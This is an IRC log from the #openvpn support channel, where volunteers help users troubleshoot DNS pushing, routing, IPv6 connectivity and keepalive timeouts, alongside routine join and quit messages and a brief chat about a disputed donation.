17:48 < Sazpaimon> On windows, how can I configure OpenVPN to connect simultaneously to multiple servers and load balance the requests to them
17:49 < Sazpaimon> for example, my VPN provider has multiple servers in different countries, how can I make it so I can connect to all of the servers, and have openVPN route requests through each one either randomly or via a round robin
17:50 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
17:50 <+pekster> Use a non-Windows OS and set up some policy routing. Windows (at least their dektop OSes) make poor choices as routers
17:51 < Sazpaimon> thanks, but unfortunately, the choice of OS is not an option
17:51 <+pekster> We won't support 'VPN providers' here, but your inquiry has much more to do with the basics of advanced routing which is going to depend completely on your OS and won't be something OpenVPN deals with directly
17:52 < Sazpaimon> at least I have an answer that it isn't feasable
17:53 <+pekster> Right. You could run a *nix VM though and route through that from Windows
18:00 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 256 seconds]
18:01 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 245 seconds]
18:11 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
18:37 -!- baphomet1 [~destructo@12.235.42.129] has quit [Ping timeout: 256 seconds]
18:52 -!- orion [~orion@unaffiliated/orion] has joined #openvpn
18:53 < orion> Hi. Is it possible to create an internal network with public IPs in OpenVPN?
18:53 < orion> For example, I want to create an internal network on the 1.0.0.0/8 space.
18:53 < orion> The reason is that I am testing software which has NAT magic that I want to cut out.
18:54 <+pekster> Yes, you're free to use public IPs, but you really ought to own the public IP block (I'm pretty sure you don't own 1/8, for instance)
18:54 < hjohnson> orion: does it catch the 172.16.x.x subnet? most NAT folks forget about tha tone
18:55 < orion> Yes
18:55 <+pekster> s/most/only clueless/
19:07 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
19:24 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
19:26 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
19:33 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
19:34 -!- MattJ [~matthew@82.152.33.17] has quit [Ping timeout: 256 seconds]
19:42 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 260 seconds]
19:49 -!- justanotheruser [~andrew@184.75.221.3] has joined #openvpn
19:52 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-nvctrkcxxmknyrtt] has quit [Excess Flood]
19:52 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-goflsuyrgucliqcs] has joined #openvpn
19:58 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-goflsuyrgucliqcs] has quit [Excess Flood]
20:00 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-gonziwijoylytjun] has joined #openvpn
20:02 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 240 seconds]
20:06 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:30 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
20:33 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:34 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
20:37 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 240 seconds]
20:37 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 245 seconds]
20:37 -!- michaelhart_ is now known as michaelhart
20:42 -!- elfixit [~Icedove@82.197.169.36] has joined #openvpn
20:46 -!- Devastator [~devas@unaffiliated/devastator] has quit [Remote host closed the connection]
20:46 -!- Devastator [~devas@177.18.196.246] has joined #openvpn
20:57 -!- justanotheruser [~andrew@184.75.221.3] has quit [Quit: Leaving.]
21:04 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
21:26 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
21:28 < heraclitus> I've 'push "dhcp-option DNS xx.xx.xx.xx"' in my server conf file, and 'client' in my client conf file, yet dns does not seems to be pushed to clients.
21:28 < heraclitus> any simple solutions? or will I have to debug?
21:38 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
21:41 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
21:41 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
21:41 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 260 seconds]
21:45 <+pekster> heraclitus: What do you mean "does not seem to be pushed" ? Have you looked at client log output at --verb 4?
21:45 <+pekster> See also:
21:45 <+pekster> !pushdns
21:45 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
21:45 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
21:47 < heraclitus> yes, when I run a dnsleaktest on the client, the dns servers are shown to be the same as before the vpn
21:48 < heraclitus> not on windows, on linux
21:48 < heraclitus>  /etc/resolv.conf does not update with the dhcp on the tunnel
21:49 < heraclitus> on multiple machines
21:50 <+pekster> We don't deal with the bogus concepts you have been taught about "dns leaks"
21:51 <+pekster> We deal with how the technology works, not the FUD you read on reddit. If you want DNS servers to update on non-Windows (which you are on) you will need to see #4, ,assuming you use a resolv-conf type system
21:51 <+pekster> What are you doing in your scripts to handle what the info the bot just gave you? How are you applying the pushed DNS servers?
21:53 <+pekster> Are you using a resolvconf daemon, or is your DNS statically defined in resolv.conf? When you use a *nix OS, it tends to have its own OS-level knobs so _you_ need to integrate openvpn with your existing system
21:55 < heraclitus> well, I currently pay for a vpn service for day to day use, and decided to try my hand at openvpn server. my service that I pay for does nothing special that I can see in its client config file, yet my dns servers update just fine. I'm on arch linux right now, it uses resolvconf
21:55 < heraclitus> I'm not sure what daemon RHEL-like systems use like CentOS (which is what my other machines use.
21:56 <+pekster> Yes, but you need a script to deal with this
21:57 <+pekster> It's not magic; look at --verb 4 in the client to make sure it gets the dhcp-option. Then it's your job to run an --up script that deals with this; check the example file in the source release for some possible integration options with a resolvconf
21:59 <+pekster> If some other push of that option works fine check your distro for what it's doing; Gentoo, for instance, integrates this support into the shipped scripts
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 < heraclitus> ah ha, thank you, I did see the dhcp option when connecting, and I'm reviewing the samples @ /usr/share/doc/openvpn*/contrib/pull-resolv-conf/
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:12 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
22:17 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Read error: Connection reset by peer]
22:17 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
22:43 -!- Devastator [~devas@177.18.196.246] has quit [Changing host]
22:43 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:46 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
23:11 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 240 seconds]
23:16 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
--- Day changed Fri Oct 04 2013
00:09 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
00:15 -!- dualcore [~dualcore@unaffiliated/dualcore] has joined #openvpn
00:15 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
00:21 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:38 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:59 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:00 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
01:02 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
01:50 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Ping timeout: 240 seconds]
01:56 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Ping timeout: 264 seconds]
02:04 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
02:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:34 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
02:50 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:54 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
02:58 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
03:07 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: No route to host]
03:07 -!- ade_b [~Ade@e178189246.adsl.alicedsl.de] has joined #openvpn
03:07 -!- ade_b [~Ade@e178189246.adsl.alicedsl.de] has quit [Changing host]
03:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:16 -!- xdarklight [~darklight@unaffiliated/xdarklight] has quit [Ping timeout: 245 seconds]
03:17 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:19 -!- xdarklight [~darklight@unaffiliated/xdarklight] has joined #openvpn
03:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:24 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 264 seconds]
03:26 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
03:27 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
03:32 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
03:34 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
03:35 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
03:36 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
03:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
03:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:58 -!- [spathi] [spathi@bzq-218-172-107.red.bezeqint.net] has joined #openvpn
03:58 < [spathi]> hi
03:59 < [spathi]> I'm having trouble with 'MULTI: bad source address from client' stuff
03:59 < [spathi]> been doing some googling and trying to apply fixes, but no luck
04:02 -!- busymindu [~chatzilla@ip69-17-244-204.vif.net] has joined #openvpn
04:06 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
04:06 < busymindu> !welcome
04:06 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
04:06 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:08 < busymindu> !sample
04:08 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
04:09 < busymindu> !route
04:09 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
04:09 <@vpnHelper> behind the server or client
04:10 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
04:14 < [spathi]> :/
04:17 < busymindu> !bridge
04:17 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
04:23 -!- mattock is now known as mattock_afk
04:26 < [spathi]> when I try adding line 'local ip' to server conf, the server won't restart..
04:44 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
04:47 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
04:48 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
04:52 < [spathi]> meh
04:53 < [spathi]> now client connects to server, everything seems to 'work', except there's no actual tunnel and client seems to access internet directly (tried checking ip..)
05:05 < [spathi]> without following line i don't get tunnel:push "redirect-gateway def1"
05:06 < [spathi]> but with that line i get 'MULTI: bad source address from client'
05:10 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
05:15 -!- Cubox [cubox@unaffiliated/cubox] has quit [Ping timeout: 240 seconds]
05:16 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
05:19 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 240 seconds]
05:22 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
05:23 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
05:39 -!- lmm [uid6417@gateway/web/irccloud.com/x-ottodmskjilimsse] has quit [Ping timeout: 240 seconds]
05:40 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-gkogynzxptrcqlws] has joined #openvpn
05:47 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:49 -!- busymindu [~chatzilla@ip69-17-244-204.vif.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
05:59 < [spathi]>  anyone around ?
06:08 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:16 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
06:28 -!- elfixit [~Icedove@82.197.169.36] has quit [Ping timeout: 240 seconds]
06:40 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 252 seconds]
06:45 -!- [spathi] [spathi@bzq-218-172-107.red.bezeqint.net] has quit [Ping timeout: 246 seconds]
07:00 -!- dradec [~d@unaffiliated/dradec] has quit [Remote host closed the connection]
07:01 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
07:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
07:44 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:49 -!- Overand [~overand@unaffiliated/overand] has joined #openvpn
07:50 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
07:51 < Overand> Wacky nested questions here - one - has anyone had success 'tunneling PPTP via OpenVPN' - and 2 - "Is it possible to use OpenVPN one way or another to 'give the client an IP inside the existing network' to alieviate routing headaches, ala Ye Olde PPTP
07:51 < Overand> I don't think a straight-up TAP device makes sense for that
07:52 < Overand> I think, honestly, I may be trying to force OpenVPN (my personal favorite vpn solution) onto a problem it's not well suited for
07:56 < Overand> i.e. Network R1[mgmt] can communicate with R2, R3, R4, R5, and R6, which are all their own subnet with their own firewall routers, but whose firewall/routers also have a leg in to R1 and associated rules & routing tables to communicate with that subnet.  I'm hoping to be able  from "physically" outside R1 to be able to communicate with those networks via a VPN solution without having to create new routing tables all over the place for the new tunnel
07:57 -!- master_o1_master [~master_of@p4FD7BFC5.dip0.t-ipconnect.de] has joined #openvpn
07:58 < Overand> I mean, I guess a tap network would work, actualyl
07:58 < Overand> I can't think of a reason it wouldn't, now.
08:01 -!- master_of_master [~master_of@p4FF2457B.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
08:07 -!- MattJ [~matthew@82.152.33.17] has quit [Read error: Operation timed out]
08:07 -!- MattJ100 [~matthew@82.152.218.185] has joined #openvpn
08:11 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 260 seconds]
08:16 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:18 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 246 seconds]
08:21 -!- mattock_afk is now known as mattock
08:25 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
08:31 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 260 seconds]
08:31 -!- xdarklight [~darklight@unaffiliated/xdarklight] has quit [Quit: ZNC - http://znc.in]
08:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:39 -!- Gruu [~Gruu@91.240.67.145] has joined #openvpn
08:40 -!- xdarklight [~darklight@unaffiliated/xdarklight] has joined #openvpn
08:50 -!- Overand [~overand@unaffiliated/overand] has quit [Quit: Rebooting Arch!]
08:50 -!- RB2 [~rb2@c-68-37-9-119.hsd1.nj.comcast.net] has joined #openvpn
08:55 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
09:00 -!- mattock is now known as mattock_afk
09:06 -!- muh-die-kuh [~hco@bronx.lab9.de] has left #openvpn ["Linkinus - http://linkinus.com"]
09:10 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 240 seconds]
09:10 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:23 -!- mattock_afk is now known as mattock
09:24 -!- xdarklight [~darklight@unaffiliated/xdarklight] has quit [Quit: ZNC - http://znc.in]
09:32 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:40 -!- Gruu [~Gruu@91.240.67.145] has quit [Quit: Gruu]
09:42 < orion> Hi. Is it possible to have multiple IPs assigned to one server running one OpenVPN instance?
09:46 <+pekster> orion: With tun you could use an --iroute, although I'm not sure what openvpn does if you define an --iroute to a /32 IPv4 address that's in the existing route; you'd certainly need to reduce any --ifconfig-pool you're using
09:49 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has quit [Ping timeout: 264 seconds]
09:50 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
09:51 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
09:53 < defswork> orion, could you use iptables to dnat to a single IP and leave connection tracking to do the rest ?
09:58 -!- MattJ1000 [~matthew@109.176.201.179] has joined #openvpn
09:59 -!- MattJ100 [~matthew@82.152.218.185] has quit [Read error: Operation timed out]
10:05 < orion> seems hackish
10:07 -!- xdarklight [~darklight@unaffiliated/xdarklight] has joined #openvpn
10:12 -!- Mr^Mo [~kvirc@port-92-192-109-33.dynamic.qsc.de] has joined #openvpn
10:14 -!- FaV1r3s [~FaV1r3s@unaffiliated/fav1r3s] has joined #openvpn
10:15 < FaV1r3s> !welcome
10:15 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:15 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:15 < FaV1r3s> !config
10:15 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
10:16 <+pekster> !configs
10:16 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:19 < Mr^Mo> !sample
10:19 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
10:22 -!- baphomet1 [~destructo@12.235.42.129] has joined #openvpn
10:24 -!- baphomet1 [~destructo@12.235.42.129] has quit [Client Quit]
10:27 < Mr^Mo> Anybody who has succeeded in using openvpn over ipv6 with an android device? I have a setup which works fine, if i connect to my server using a netbook. However, using a tablet it does not get any connection to the server. COnfig is the same on both systems. Errorlog: http://pastebin.com/31dHHw7A
10:28 < Mr^Mo> Client config: http://pastebin.com/yGXfwyg9
10:31 <+pekster> Mr^Mo: From the log, lines 230-234 is informing you that your local client cannot reach the remote host and is getting 'net-unreach' replies from the OS
10:32 -!- raidz_away is now known as raidz
10:32 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
10:32 < Mr^Mo> Yeah, which is what I don't get, seeing as on the other client it is working well. Actually i fear it's routing problem and I have no idea how to resolve that on an android device
10:32 <+pekster> Does other IPv6 access work from the tablet? Can you ping6 your remote host? Or trace to it over that port (if it has some trace utility, maybe tracepath6 or something?)
10:32 < Mr^Mo> icmp works just fine
10:33 < Mr^Mo> i can ping the to and from the android
10:33 <+pekster> The IPv6 address, the 2001:whatever::1 ?
10:33 < Mr^Mo> yep
10:35 < Mr^Mo> nota bene. ipv6 on the tablet is provided via a tunnelbroker, namely sixxs
10:40 <+pekster> If you can ping the host it won't be a routing issue (the reply shows you can route there & back.) I'm not sure where that leaves you though. Maybe `tracepath6 -p 1194 2001:db8::1` or such
10:41 <+pekster> (I guess tracepath will increment the port, but that's probably not a huge deal here. Other trace tools are smarter and let you keep it from doing a "sweep" as it scans)
10:42 <+pekster> No clue what real tools you have at your disposal on the tablet though
10:43 < Mr^Mo> mainly busybox. but that's pita to use ;-)
10:44 <+pekster> Depends on what applets it contains since it can be configured many ways
10:45 <+pekster> My openwrt builds bundle `ip` and `tc` for policy routing and QoS, all controlled through a bb symlink
10:46 < Mr^Mo> it' more a matter of having to type without a real keyboard
10:46 <+pekster> Basically the goal being to see if "something" (your host or upstream) is mucking with the packet you're trying to send. As far as the OS network stack and real-world routers, it's "just another UDP packet"
10:47 < Mr^Mo> right
10:55 -!- s7r [~s7r@openvpn/user/s7r] has quit [Write error: Connection reset by peer]
10:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Write error: Broken pipe]
10:56 < Mr^Mo> well, that's interesting. traceroute6 -p 1194 does not work its way to the server when issued from the tablet
10:56 < Mr^Mo> it works however from the other client
11:23 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
11:23 -!- neutr0n` [~neutr0n@wsip-24-248-162-194.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
11:23 -!- neutr0n` [~neutr0n@wsip-24-248-162-194.ks.ok.cox.net] has joined #openvpn
11:24 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 248 seconds]
11:26 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 260 seconds]
11:27 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
11:33 -!- [spathi] [~spathi@109.64.120.218] has joined #openvpn
11:42 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
11:47 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
11:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:00 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
12:10 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:17 <@ecrist> fucking fuck grr
12:17 <@ecrist> krzee: ping
12:23 -!- orion [~orion@unaffiliated/orion] has left #openvpn []
12:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
12:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:43 -!- mattock is now known as mattock_afk
12:43 <@krzee> pong
12:44 <@krzee> sup bro
12:44 <@krzee> ecrist,
12:54 <@ecrist> grr
12:54 <@ecrist> the last donation we recieved was disputed
12:54 <@ecrist> that user, today, claimed we were unauthorized to use their account
12:55 < EugeneKay> wat
12:56 <@krzee> o.O
12:56 <@krzee> thats odd
12:56 <@ecrist> yeah, 
12:56 <@krzee> who disputes a donation!?
12:56 <@krzee> lol
12:56 <@ecrist> I got an email stating it was being disputed and I had 7 days to respond
12:56 <@ecrist> less than five minutes later, I got another email claiming the issue was resolved, and their money refunded
12:56 <@krzee> respond with "it was only a donation, if they wanna take it back that is fine" ?
12:57 <@krzee> oh or that, lol
12:57 <@krzee> ohhh wait a sec
12:57 <@krzee> maybe the donator was $evil_hakkir
12:57 <@krzee> and it really wasnt auth'ed
12:57 <@krzee> lol
12:57  * ecrist shrug
12:57 <+pekster> That's a somewhat clever way to be evil, actually (goods need a shipping address; donations usually don't)
12:58 <@ecrist> I called paypal.  they removed the claim, let the user keep their money, and gave me $25 for the hassle
12:58 <@ecrist> no joke
12:58 <@krzee> either way, someone wasting your time with that shit, they could just as easily not donate
12:58 <@krzee> seriously!?
12:58 <@krzee> thats pretty cool
12:58 <@ecrist> yup, I thought so.
12:59 <@ecrist> i pointed out to the guy before hand that I *have* been a customer since 2004 or something silly, and I process about $2,000 per month through that account.
12:59 <@ecrist> they get their fees from my transactions
13:09 <@krzee> and this was a donation under 100 im sure
13:10 <@ecrist> 18 euros
13:10 <@krzee> lol
13:11 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:28 < qwertyoruiop> yo
13:28 < qwertyoruiop> i am having troubles with my openvpn setup
13:28 < qwertyoruiop> it was working fine then i updated openvpn
13:28 < qwertyoruiop> now it still works fine but it fails to keep the connection alive
13:28 < qwertyoruiop> and after a minute or two it goes down
13:28 < qwertyoruiop> i'm 100% sure networking is working on both ends
13:28 < qwertyoruiop> and there are no peering issues
13:29 < qwertyoruiop> openvpn dies and the UI i'm using (tunnelblick) restarts it
13:29 < qwertyoruiop> and it works fine
13:29 < qwertyoruiop> before crashing again and starting up again
13:29 <+pekster> Without logs it's impossible to say what's happening, but chances are very good it's not "crashing"
13:30 < qwertyoruiop> the connection is crashing. I'm getting relevant log lines as we talk.
13:31 <+pekster> A disconnect event (f.ex, in response to a lack of remote peer pings) is not a connection crash; it's intended behaviour that you may not expect
13:31 < qwertyoruiop> 2013-10-04 20:31:01 [shulgin.qwertyoruiop.com] Inactivity timeout (--ping-restart), restarting
13:31 <+pekster> Yup, that peer didn't get a --ping packet within the --ping-restart period; do you have configs available from both your peers?
13:31 <+pekster> !configs
13:31 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:31 < qwertyoruiop> keepalive is set to 10 / 30
13:32 < qwertyoruiop> and i did not change it in like months and it always worked fine
13:32 < qwertyoruiop> when the connection is working there are no issues whatsoever, but the ping does not get sent.
13:33 <+pekster> The remote end is the one sending it; can you watch an otherwise idle connection for the keepalive traffic that should appear every ~10 seconds?
13:33 <+pekster> Either use tcpdump on the outside VPN port in use, or use --verb 5 and watch for the packet printouts; remember, it's impotant to not be using the tunnel for data when you do that
13:35 <+pekster> Upgrading the client will have no impact what-so-ever on what the other end does (your server end)
13:35 <+pekster> (not as far as transmitting the --ping keepalives care, anyway)
13:36 < qwertyoruiop> Fri Oct  4 20:32:42 2013 us=407503 <stuff> /<stuff>:1194 Replay-window backtrack occurred [9]
13:36 < qwertyoruiop> this is the only particular thing
13:37 < qwertyoruiop> i'm going to see if with an idle connection i get any data sent, but i'll have to SIGSTOP my irc client, so wait a min.
13:37 <+pekster> You really shouldn't be getting that on an _idle_ connection (it means packets are received "too far" out of order -- more than 64 packets "back in time")
13:37 -!- Zordrak [~jaz@87-194-137-223.bethere.co.uk] has quit [Read error: Operation timed out]
13:38 <+pekster> See the manpage for --replay-window for a description of the replay mechanism and how to tweak it if you need to; it's possible the ping packets are for some strange reason getting dropped by this protection despite their arrival from the remote peer
13:38 <+pekster> Actually, easy test there; add --no-replay to your client and see if that fixes it
13:40 < qwertyoruiop> ok
13:40 < qwertyoruiop> on an IDLE connection there was some data sent every few seconds just fine
13:40 < qwertyoruiop> and i haven't been getting that error anymore
13:41 <+pekster> Should be 'every few' although maybe the link isn't completely idle
13:41 <+pekster> With --keepalive 10 30 (which translate to --ping 10 --ping-restart 60 on the client) it should show you roughly one UDP packet in each direction roughly every 10 seconds
13:41 <+pekster> Shouldn't be*
13:42 < qwertyoruiop> trying to see if i can kill every network-using task
